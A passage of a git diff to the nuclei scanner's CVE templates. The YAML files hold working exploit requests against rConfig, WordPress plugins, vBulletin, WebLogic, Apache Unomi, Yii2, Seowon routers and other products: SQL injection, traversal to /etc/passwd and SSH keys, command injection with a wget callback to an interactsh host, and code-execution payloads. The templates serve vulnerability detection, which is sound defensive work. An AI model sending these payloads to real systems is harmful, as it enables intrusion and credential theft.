+0,0 @@ -id: CVE-2020-10548 -info: - name: rConfig 3.9.4 SQLi - author: madrobot - severity: critical - description: rConfig 3.9.4 and previous versions has unauthenticated devices.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. - reference: - - https://github.com/theguly/exploits/blob/master/CVE-2020-10548.py - - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ - tags: cve,cve2020,rconfig,sqli - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-10548 - cwe-id: CWE-89,CWE-522 - -requests: - - method: GET - path: - - "{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "[project-discovery]" - part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-11530.yaml b/nuclei-templates/CVE-2020/cve-2020-11530.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-11530.yaml rename to nuclei-templates/CVE-2020/cve-2020-11530.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-11738.yaml b/nuclei-templates/CVE-2020/cve-2020-11738.yaml deleted file mode 100644 index adec053def..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-11738.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2020-11738 - -info: - name: WordPress Duplicator plugin Directory Traversal - author: dwisiswant0 - severity: high - description: | - The issue is being actively exploited, and allows attackers - to download arbitrary files, such as the wp-config.php file. - According to the vendor, the vulnerability was only in two - versions v1.3.24 and v1.3.26, the vulnerability wasn't - present in versions 1.3.22 and before. - - reference: https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild - tags: cve,cve2020,wordpress,wp-plugin,lfi - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-11738 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "File Transfer" - - "application/octet-stream" - - "attachment; filename=\"(wp-config\\.php|passwd)\"" - condition: and - part: header - - type: regex - regex: - - "root:.*:0:0:" - - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'" - condition: or - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-12116.yaml b/nuclei-templates/CVE-2020/cve-2020-12116.yaml new file mode 100644 index 0000000000..27fceb2fac --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-12116.yaml @@ -0,0 +1,46 @@ +id: CVE-2020-12116 + +info: + name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read + author: dwisiswant0 + severity: high + description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request. + tags: cve,cve2020,zoho,lfi,manageengine + reference: https://github.com/BeetleChunks/CVE-2020-12116 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2020-12116 + cwe-id: CWE-22 + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Connection: close + + - | + GET §endpoint§../../../../bin/.ssh_host_rsa_key HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Cache-Control: max-age=0 + Connection: close + Referer: http://{{Hostname}} + + extractors: + - type: regex + name: endpoint + part: body + internal: true + regex: + - "(?m)/cachestart/.*/jquery/" + + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_2, "BEGIN RSA PRIVATE KEY")' + - 'status_code_2 == 200' + condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-12720.yaml b/nuclei-templates/CVE-2020/cve-2020-12720.yaml deleted file mode 100644 index a187f2e53f..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-12720.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-12720 - -info: - name: CVE-2020-12720 vBulletin SQLI - author: pdteam - severity: critical - description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control. - reference: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720 - tags: cve,cve2020,vbulletin,sqli - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-12720 - cwe-id: CWE-89,CWE-306 - -requests: - - raw: - - | - POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1 - Host: {{Hostname}} - X-Requested-With: XMLHttpRequest - Accept: */* - Content-Type: application/x-www-form-urlencoded - - nodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+- - - matchers: - - type: word - words: - - "vbulletinrce" diff --git a/nuclei-templates/CVE-2020/cve-2020-12800.yaml b/nuclei-templates/CVE-2020/cve-2020-12800.yaml deleted file mode 100644 index 73818f066f..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-12800.yaml +++ /dev/null @@ -1,65 +0,0 @@ -id: CVE-2020-12800 - -info: - name: WordPress 'Drag & Drop Multiple File Upload - Contact Form 7' Plugin - Pre-auth RCE - author: dwisiswant0 - severity: critical - description: The drag-and-drop-multiple-file-upload-contact-form-7 plugin before 1.3.3.3 for WordPress allows Unrestricted File Upload and remote code execution by setting supported_type to php% and uploading a .php% file. - reference: https://github.com/amartinsec/CVE-2020-12800 - tags: cve,cve2020,wordpress,wp-plugin,upload - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-12800 - cwe-id: CWE-434 - -requests: - - raw: - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601 - X-Requested-With: XMLHttpRequest - - -----------------------------350278735926454076983690555601 - Content-Disposition: form-data; name="supported_type" - - txt% - -----------------------------350278735926454076983690555601 - Content-Disposition: form-data; name="size_limit" - - 5242880 - -----------------------------350278735926454076983690555601 - Content-Disposition: form-data; name="action" - - dnd_codedropz_upload - -----------------------------350278735926454076983690555601 - Content-Disposition: form-data; name="type" - - click - -----------------------------350278735926454076983690555601 - Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%" - Content-Type: application/x-httpd-php - - CVE-2020-12800-{{randstr}} - -----------------------------350278735926454076983690555601-- - - - | - GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "CVE-2020-12800-{{randstr}}" - - - type: word - part: header - words: - - "text/plain" diff --git a/nuclei-templates/CVE-2020/cve-2020-13121.yaml b/nuclei-templates/CVE-2020/cve-2020-13121.yaml new file mode 100644 index 0000000000..cd7764f649 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-13121.yaml @@ -0,0 +1,46 @@ +id: CVE-2020-13121 + +info: + name: Submitty <= 20.04.01 - Open Redirect + author: 0x_Akoko + severity: medium + description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + impact: | + An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks. + remediation: | + Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability. + reference: + - https://github.com/Submitty/Submitty/issues/5265 + - https://nvd.nist.gov/vuln/detail/CVE-2020-13121 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-13121 + cwe-id: CWE-601 + epss-score: 0.00235 + epss-percentile: 0.60944 + cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: rcos + product: submitty + tags: cve,cve2020,redirect,submitty,oos,rcos + +http: + - raw: + - | + POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Referer: {{RootURL}}/authentication/login + + user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 +# digest: 4a0a0047304502206f176277eec35ef135b67c205d1cdacbf6a6d6a914b0330fc921447e4d77f10a022100d548e0e86bb67accdbea62a2cb11ff6fdfd956cb47edb0909e50b0bb2324b033:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-13167.yaml b/nuclei-templates/CVE-2020/cve-2020-13167.yaml new file mode 100644 index 0000000000..3bc65d24ca --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-13167.yaml @@ -0,0 +1,38 @@ +id: CVE-2020-13167 + +info: + name: Netsweeper WebAdmin unixlogin.php Python Code Injection + author: dwisiswant0 + severity: critical + description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters. + tags: cve,cve2020,netsweeper,rce,python,webadmin + reference: + - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/ + - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-13167 + cwe-id: CWE-78 + metadata: + hex-payload: 'echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out' + +requests: + - method: GET + path: + - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5" + - "{{BaseURL}}/webadmin/out" + + headers: + Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php" + + matchers-condition: and + matchers: + - type: word + words: + - "nonexistent" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-13483.yaml b/nuclei-templates/CVE-2020/cve-2020-13483.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-13483.yaml rename to nuclei-templates/CVE-2020/cve-2020-13483.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-13927.yaml b/nuclei-templates/CVE-2020/cve-2020-13927.yaml new file mode 100644 index 0000000000..b9095c970e --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-13927.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-13927 + +info: + name: Unauthenticated Airflow Experimental REST API + author: pdteam + severity: critical + tags: cve,cve2020,apache,airflow,unauth + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-13927 + description: "The previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default" + reference: + - https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E + - http://packetstormsecurity.com/files/162908/Apache-Airflow-1.10.10-Remote-Code-Execution.html + +requests: + - method: GET + path: + - '{{BaseURL}}/api/experimental/latest_runs' + + matchers: + - type: word + words: + - '"dag_run_url":' + - '"dag_id":' + - '"items":' + condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-13942.yaml b/nuclei-templates/CVE-2020/cve-2020-13942.yaml new file mode 100644 index 0000000000..45757b968d --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-13942.yaml @@ -0,0 +1,65 @@ +id: CVE-2020-13942 + +info: + name: Apache Unomi Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + Remote Code Execution in Apache Unomi. + Apache Unomi allows conditions to use OGNL and MVEL scripting which + offers the possibility to call static Java classes from the JDK + that could execute code with the permission level of the running Java process. + This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later. + + reference: + - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ + - https://twitter.com/chybeta/status/1328912309440311297 + tags: cve,cve2020,apache,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-13942 + cwe-id: CWE-74 + +requests: + - method: POST + path: + - "{{BaseURL}}/context.json" + headers: + Content-Type: application/json + body: | + { + "filters": [ + { + "id": "nuclei", + "filters": [ + { + "condition": { + "parameterValues": { + "nuclei": "script::Runtime.getRuntime().exec('id')" + }, + "type": "profilePropertyCondition" + } + } + ] + } + ], + "sessionId": "nuclei" + } + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "context-profile-id" + condition: and + part: header + - type: regex + regex: + - "(profile|session)(Id|Properties|Segments)" + - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}" + condition: and + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-14179.yaml b/nuclei-templates/CVE-2020/cve-2020-14179.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-14179.yaml rename to nuclei-templates/CVE-2020/cve-2020-14179.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-14408.yaml b/nuclei-templates/CVE-2020/cve-2020-14408.yaml deleted file mode 100644 index 2f1c79e2ee..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-14408.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2020-14408 - -info: - name: Agentejo Cockpit 0.10.2 - Cross-Site Scripting - author: edoardottt - severity: medium - description: Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Upgrade to the latest version of Agentejo Cockpit or apply the vendor-provided patch to fix the XSS vulnerability. - reference: - - https://github.com/agentejo/cockpit/issues/1310 - - https://nvd.nist.gov/vuln/detail/CVE-2020-14408 - - https://github.com/ARPSyndicate/kenzer-templates - - https://github.com/StarCrossPortal/scalpel - - https://github.com/anonymous364872/Rapier_Tool - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-14408 - cwe-id: CWE-79 - epss-score: 0.00113 - epss-percentile: 0.44682 - cpe: cpe:2.3:a:agentejo:cockpit:0.10.2:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: agentejo - product: cockpit - tags: cve2020,cve,cockpit,agentejo,xss,oss - -http: - - method: GET - path: - - "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "redirectTo = '/92874';alert(document.domain)//280';" - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a00473045022100d9c05fb3baf867f35afbb4c5ecbc371b317d9ad9a8ce6ccb6c7fdbc1f3231cf902207c1160d456c6b712685c5c2f9c8f5a2c8102f6d5ec75ce531f6daa39b39f4bd7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-14750.yaml b/nuclei-templates/CVE-2020/cve-2020-14750.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-14750.yaml rename to nuclei-templates/CVE-2020/cve-2020-14750.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-14815.yaml b/nuclei-templates/CVE-2020/cve-2020-14815.yaml deleted file mode 100644 index dc1ae9940d..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-14815.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2020-14815 - -info: - name: Oracle Business Intelligence XSS - author: pikpikcu - severity: medium - reference: https://www.oracle.com/security-alerts/cpuoct2020.html - tags: cve,cve2020,oracle,xss - source: https://twitter.com/HackerOn2Wheels/status/1326927875279380480 - -requests: - - method: GET - path: - - "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=%22%3E%3Cimg/src/onerror%3dalert(document.domain)%3E" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "X-Oracle-Dms-Ecid:" - - "X-Oracle-Dms-Rid:" - - "Set-Cookie:" - part: header - condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-14882.yaml b/nuclei-templates/CVE-2020/cve-2020-14882.yaml new file mode 100644 index 0000000000..d43e630199 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-14882.yaml @@ -0,0 +1,46 @@ +id: CVE-2020-14882 + +info: + name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass) + author: dwisiswant0 + severity: critical + reference: + - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf + - https://twitter.com/jas502n/status/1321416053050667009 + - https://youtu.be/JFVDOIL0YtA + - https://github.com/jas502n/CVE-2020-14882#eg + description: | + Vulnerability in the Oracle WebLogic Server + product of Oracle Fusion Middleware (component: Console). + Supported versions that are affected are 10.3.6.0.0, + 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. + Easily exploitable vulnerability allows unauthenticated + attacker with network access via HTTP to compromise the server. + Successful attacks of this vulnerability can result in takeover. + tags: cve,cve2020,oracle,rce,weblogic,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-14882 + +requests: + - raw: + - | + POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=utf-8 + + _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://{{interactsh-url}}") + + matchers-condition: and + matchers: + + - type: word + part: header + words: + - "ADMINCONSOLESESSION" + + - type: word + part: interactsh_protocol + words: + - "http" \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-15050.yaml b/nuclei-templates/CVE-2020/cve-2020-15050.yaml new file mode 100644 index 0000000000..c3a0c4953d --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-15050.yaml @@ -0,0 +1,30 @@ +id: CVE-2020-15050 + +info: + name: Suprema BioStar2 - Local File Inclusion (LFI) + author: gy741 + severity: high + description: An issue was discovered in the Video Extension in Suprema BioStar 2 before 2.8.2. Remote attackers can read arbitrary files from the server via Directory Traversal. + reference: + - http://packetstormsecurity.com/files/158576/Bio-Star-2.8.2-Local-File-Inclusion.html + - https://www.supremainc.com/en/support/biostar-2-pakage.asp + - https://nvd.nist.gov/vuln/detail/CVE-2020-15050 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.50 + cve-id: CVE-2020-15050 + tags: cve,cve2020,lfi,suprema,biostar2 + +requests: + - method: GET + path: + - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini" + + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-15129.yaml b/nuclei-templates/CVE-2020/cve-2020-15129.yaml new file mode 100644 index 0000000000..3b46eec92a --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-15129.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-15129 + +info: + name: Open-redirect in Traefik + author: dwisiswant0 + severity: medium + description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios. + reference: https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik + tags: cve,cve2020,traefik,redirect + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.70 + cve-id: CVE-2020-15129 + cwe-id: CWE-601 + +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + X-Forwarded-Prefix: "https://foo.nl" + matchers-condition: and + matchers: + - type: status + status: + - 302 + - type: word + words: + - "Found" + condition: or + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-15148.yaml b/nuclei-templates/CVE-2020/cve-2020-15148.yaml new file mode 100644 index 0000000000..1d65d8a045 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-15148.yaml @@ -0,0 +1,33 @@ +id: CVE-2020-15148 + +info: + name: Yii 2 (yiisoft/yii2) RCE + author: pikpikcu + severity: critical + reference: + - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 + - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md + tags: cve,cve2020,rce,yii + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.00 + cve-id: CVE-2020-15148 + cwe-id: CWE-502 + description: "Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory." + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==" + + matchers-condition: and + matchers: + - type: word + words: + - "total" + - "internal server error" + condition: and + + - type: status + status: + - 500 diff --git a/nuclei-templates/CVE-2020/CVE-2020-15500.yaml b/nuclei-templates/CVE-2020/cve-2020-15500.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-15500.yaml rename to nuclei-templates/CVE-2020/cve-2020-15500.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-15568.yaml b/nuclei-templates/CVE-2020/cve-2020-15568.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-15568.yaml rename to nuclei-templates/CVE-2020/cve-2020-15568.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-16846.yaml b/nuclei-templates/CVE-2020/cve-2020-16846.yaml new file mode 100644 index 0000000000..372a0572b7 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-16846.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-16846 + +info: + name: SaltStack Shell Injection + author: dwisiswant0 + severity: critical + description: | + SaltStack Salt through 3002. Sending crafted web requests to the Salt API, + with the SSH client enabled, can result in shell injection. + + This template supports the detection part only. See references. + reference: + - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag + - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846 + tags: cve,cve2020,saltstack + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-16846 + cwe-id: CWE-78 + +requests: + - method: POST + path: + - "{{BaseURL}}/run" + body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei" + headers: + Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header + matchers-condition: and + matchers: + - type: status + status: + - 500 + - type: word + words: + - "application/json" + part: header + - type: word + words: + - "An unexpected error occurred" + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-16952.yaml b/nuclei-templates/CVE-2020/cve-2020-16952.yaml new file mode 100644 index 0000000000..30a86624e1 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-16952.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-16952 + +info: + name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE + author: dwisiswant0 + severity: high + description: A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka 'Microsoft SharePoint Remote Code Execution Vulnerability'. This CVE ID is unique from CVE-2020-16951. + reference: + - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952 + - https://srcincite.io/pocs/cve-2020-16952.py.txt + - https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md + tags: cve,cve2020,sharepoint,iis,microsoft + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.80 + cve-id: CVE-2020-16952 + cwe-id: CWE-346 + +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: regex + regex: + - "15\\.0\\.0\\.(4571|5275|4351|5056)" + - "16\\.0\\.0\\.(10337|10364|10366)" + # - "16.0.10364.20001" + condition: or + part: body + - type: word + words: + - "MicrosoftSharePointTeamServices" + part: header + - type: status + status: + - 200 + - 201 + condition: or diff --git a/nuclei-templates/CVE-2020/cve-2020-17456.yaml b/nuclei-templates/CVE-2020/cve-2020-17456.yaml new file mode 100644 index 0000000000..7dd3efc2b6 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-17456.yaml @@ -0,0 +1,50 @@ +id: CVE-2020-17456 + +info: + name: Seowon SLC-130 And SLR-120S - Unauthenticated Remote Code Execution + author: gy741,edoardottt + severity: critical + description: SEOWON INTECH SLC-130 And SLR-120S devices allow Remote Code Execution via the ipAddr parameter to the system_log.cgi page. + reference: + - https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-17456 + tags: rce,seowon,router,unauth,iot,cve,cve2020,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-17456 + cwe-id: CWE-78 + +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Referer: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + browserTime=081119502020¤tTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin + - | + POST /cgi-bin/system_log.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;wget http://{{interactsh-url}}&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018 + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-17518.yaml 